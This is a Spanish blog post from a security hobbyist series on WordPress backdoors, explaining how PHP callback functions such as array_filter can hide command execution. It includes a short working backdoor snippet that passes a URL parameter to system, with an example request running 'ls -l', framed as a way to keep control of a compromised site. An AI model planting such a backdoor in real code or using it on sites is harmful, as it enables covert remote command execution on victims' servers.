martes, 4 de marzo de 2014

WordPress Backdoors IV: PHP y funciones con callbacks

¡Saludos!

   Continúo dejando por aquí pinceladas del PDF que estoy haciendo -como dije en el post anterior, estoy realmente liado y más ahora que esta semana es la rootedCON- sobre backdoors en PHP en general, y sobre la plataforma WordPress en particular. Hoy vamos a explicar una de las formas de backdoorizar más dificiles de detectar a ojo si previamente no sabes por donde van los tiros. Se trata de las funciones que permiten un ejecutar otra  función dentro de ellas como callback.

   Dentro de este tipo de funciones en PHP podemos encontrar varias decenas, todas ellas inofensivas a simple vista ( array_map, array_walk, xml_set_element_handler, etc.) , pero que colocadas estratégicamente pueden servirnos de vector para poder ejecutar acciones clave para retomar el control de un WordPress intervenido por nosotros previamente. Si deseamos ejecutar varios comandos utilizando la función system, para por ejemplo descargar en el servidor un exploit, o una webshell más completa, y después moverlo, ejecutarlo, sobreescribir un archivo que tenga suficientes permisos, etc. lo ideal sería usar funciones destinadas a arrays, como por ejemplo array_map o array_filter. ¿Quien pensaría que nos han juankeado por un array_filter colocado en un theme que es de pago pero en una web muy chula rusa nos lo dejan gratis? :)

   Leyendo la documentación de array_filter en PHP.NET nos damos cuenta de que es justamente lo que necesitamos:

Iterates over each value in the array passing them to the callback function.

 Por lo tanto si le decimos que la función a la que debe de pasarle el valor de cada elemento en el array es un inofensivo system, y cada elemento del array es un comando... tenemos la fiesta montada :D

<?php
$filtro = $_GET['filtro'];
$palabras = array($_GET['text']);
$palabras_filtradas = array_filter($palabras, $filtro);
?>

¿Quien ve el peligro? Pasadle un rico ?filtro=system&text=ls -l   :D

¡Nos vemos en la RootedCON! El jueves llevaré una camiseta amarilla de Taxi Driver y Aetsu una camiseta de... cof cof... -  por si alguien se pasa a saludarnos ;)


Byt3z!



5 0verl0ad Labs: WordPress Backdoors IV: PHP y funciones con callbacks ¡Saludos!    Continúo dejando por aquí pinceladas del PDF que estoy haciendo -como dije en el post anterior, estoy realmente liado y más a...
< >